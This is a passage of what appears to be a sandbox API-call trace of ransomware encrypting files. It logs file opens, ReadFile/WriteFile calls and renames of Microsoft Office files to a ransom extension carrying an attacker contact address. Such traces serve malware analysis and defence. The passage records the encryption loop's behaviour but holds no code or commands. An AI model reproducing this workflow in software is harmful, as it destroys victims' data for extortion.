Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\msb1cach.lex.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0246.560] GetProcessHeap () returned 0x630000 [0246.560] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x621) returned 0x70f1f08 [0246.560] GetProcessHeap () returned 0x630000 [0246.560] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x621) returned 0x70f0c30 [0246.561] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.561] ReadFile (in: hFile=0x710, lpBuffer=0x70f1f08, nNumberOfBytesToRead=0x600, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f1f08*, lpNumberOfBytesRead=0x2ffff0c*=0x600, lpOverlapped=0x0) returned 1 [0246.623] GetProcessHeap () returned 0x630000 [0246.623] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0246.623] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.623] WriteFile (in: hFile=0x710, lpBuffer=0x70f0c30*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f0c30*, lpNumberOfBytesWritten=0x2ffff0c*=0x600, lpOverlapped=0x0) returned 1 [0246.623] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.623] WriteFile (in: hFile=0x710, lpBuffer=0x70f122f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f122f*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0246.623] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.623] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0246.623] CloseHandle (hObject=0x710) returned 1 [0246.624] GetProcessHeap () returned 0x630000 [0246.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f0c30 | out: hHeap=0x630000) returned 1 [0246.624] GetProcessHeap () returned 0x630000 [0246.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f1f08 | out: hHeap=0x630000) returned 1 [0246.624] GetProcessHeap () returned 0x630000 [0246.624] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0246.624] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0246.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27cace65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27cace65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x58f32feb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x624, dwReserved0=0x2fffd20, dwReserved1=0x70f1f08, cFileName="MSB1CACH.LEX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSB1CA~1.FIR")) returned 0x6d5580 [0246.624] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0246.624] Sleep (dwMilliseconds=0x1) [0246.667] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS", len=0x6c | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS") returned 1 [0246.667] GetProcessHeap () returned 0x630000 [0246.667] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e1c) returned 0x6fe3bb0 [0246.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0246.668] CloseHandle (hObject=0x710) returned 1 [0246.668] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0246.669] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\fren\\msb1fren.its"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\fren\\msb1fren.its.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0246.669] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0246.670] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc9429c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="MSB1FREN.ITS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSB1FR~1.FIR")) returned 0x6d5200 [0246.670] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0246.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\translat\\fren\\msb1fren.its.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0246.670] GetProcessHeap () returned 0x630000 [0246.670] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f65fa0 [0246.671] GetProcessHeap () returned 0x630000 [0246.671] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f713d0 [0246.671] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0246.671] ReadFile (in: hFile=0x710, lpBuffer=0x6f65fa0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f65fa0*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.747] GetProcessHeap () returned 0x630000 [0253.747] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0253.748] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.748] WriteFile (in: hFile=0x710, lpBuffer=0x6f713d0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f713d0*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0253.748] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.748] WriteFile (in: hFile=0x710, lpBuffer=0x6f7c7cf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f7c7cf*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.750] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.750] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.750] CloseHandle (hObject=0x710) returned 1 [0253.750] GetProcessHeap () returned 0x630000 [0253.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f713d0 | out: hHeap=0x630000) returned 1 [0253.750] GetProcessHeap () returned 0x630000 [0253.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f65fa0 | out: hHeap=0x630000) returned 1 [0253.750] GetProcessHeap () returned 0x630000 [0253.750] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0254.413] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.414] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc8aa06f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5d315955, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xcd2d0, dwReserved0=0xdd07496, dwReserved1=0x6f65f98, cFileName="MSB1FREN.ITS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSB1FR~1.FIR")) returned 0x6d51c0 [0254.414] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.414] Sleep (dwMilliseconds=0x1) [0255.817] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.ELM", len=0x6a | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.ELM") returned 1 [0255.817] GetProcessHeap () returned 0x630000 [0255.817] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d34) returned 0x6fe3bb0 [0255.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\level.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0257.882] CloseHandle (hObject=0x694) returned 1 [0257.882] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\level.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\level.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.883] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.885] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffc6c | out: lpFindFileData=0x2fffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b7bb91, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe2ec, dwReserved0=0x74006e, dwReserved1=0x630061, cFileName="LEVEL.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LEVELE~1.FIR")) returned 0x6d4e00 [0257.885] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0257.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\level\\level.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0257.885] GetProcessHeap () returned 0x630000 [0257.885] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72e9d78 [0257.886] GetProcessHeap () returned 0x630000 [0257.886] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72f51a8 [0257.886] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.886] ReadFile (in: hFile=0x694, lpBuffer=0x72e9d78, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d78*, lpNumberOfBytesRead=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.623] GetProcessHeap () returned 0x630000 [0263.623] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0263.624] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.624] WriteFile (in: hFile=0x694, lpBuffer=0x72f51a8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x72f51a8*, lpNumberOfBytesWritten=0x2ffff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.624] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.624] WriteFile (in: hFile=0x694, lpBuffer=0x73005a7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005a7*, lpNumberOfBytesWritten=0x2ffff0c*=0x20, lpOverlapped=0x0) returned 1 [0263.624] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.625] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ffff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x2ffff0c*=0x4, lpOverlapped=0x0) returned 1 [0263.625] CloseHandle (hObject=0x694) returned 1 [0263.625] GetProcessHeap () returned 0x630000 [0263.625] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72f51a8 | out: hHeap=0x630000) returned 1 [0263.627] GetProcessHeap () returned 0x630000 [0263.627] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72e9d78 | out: hHeap=0x630000) returned 1 [0263.628] GetProcessHeap () returned 0x630000 [0263.628] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0263.628] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0263.628] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\LEVEL.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x2fffcc4 | out: lpFindFileData=0x2fffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b7bb91, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b7bb91, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63145c92, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe310, dwReserved0=0xdd07496, dwReserved1=0x72e9d70, cFileName="LEVEL.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LEVELE~1.FIR")) returned 0x6d5240 [0263.628] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0263.628] Sleep (dwMilliseconds=0x1) [0264.609] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-20.png", len=0x75 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-20.png") returned 1 [0264.609] GetProcessHeap () returned 0x630000 [0264.609] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c88) returned 0x6fe3bb0 [0264.610] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall.targetsize-20.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.615] Sleep (dwMilliseconds=0x1) [0264.642] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SplashScreen.scale-100.png", len=0x78 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SplashScreen.scale-100.png") returned 1 [0264.642] GetProcessHeap () returned 0x630000 [0264.642] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d50) returned 0x6fe3bb0 [0264.642] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SplashScreen.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\assets\\splashscreen.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.647] Sleep (dwMilliseconds=0x1) [0264.659] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", len=0x68 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0264.659] GetProcessHeap () returned 0x630000 [0264.660] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d30) returned 0x6fe3bb0 [0264.660] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.666] Sleep (dwMilliseconds=0x1) [0264.675] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-36.png", len=0x75 | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-36.png") returned 1 [0264.675] GetProcessHeap () returned 0x630000 [0264.675] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf4) returned 0x6fe3bb0 [0264.675] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-36.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail2.targetsize-36.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.685] Sleep (dwMilliseconds=0x1) [0266.271] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\TermsOfService.htm", len=0x7e | out: pbstr=0x2ffff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\TermsOfService.htm") returned 1 [0266.271] GetProcessHeap () returned 0x630000 [0266.271] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bbc) returned 0x6fe3bb0 [0266.271] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\TermsOfService\\en-US\\TermsOfService.htm" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\termsofservice\\en-us\\termsofservice.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.272] Sleep (dwMilliseconds=0x1) [0266.311] SysReAllocStringLen (in: pbstr=0x2ffff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxC", len=0x5d | out: pbstr=0x2ffff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxC") returned 1 [0266.311] GetProcessHeap () returned 0x630000 [0266.311] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb0) returned 0x6fe3bb0 [0266.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxC" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hx.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0266.312] CloseHandle (hObject=0x648) returned 1 [0266.312] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxC" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hx.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Hx.HxC.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\hx.hxc.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.313] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x2ffef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.313] 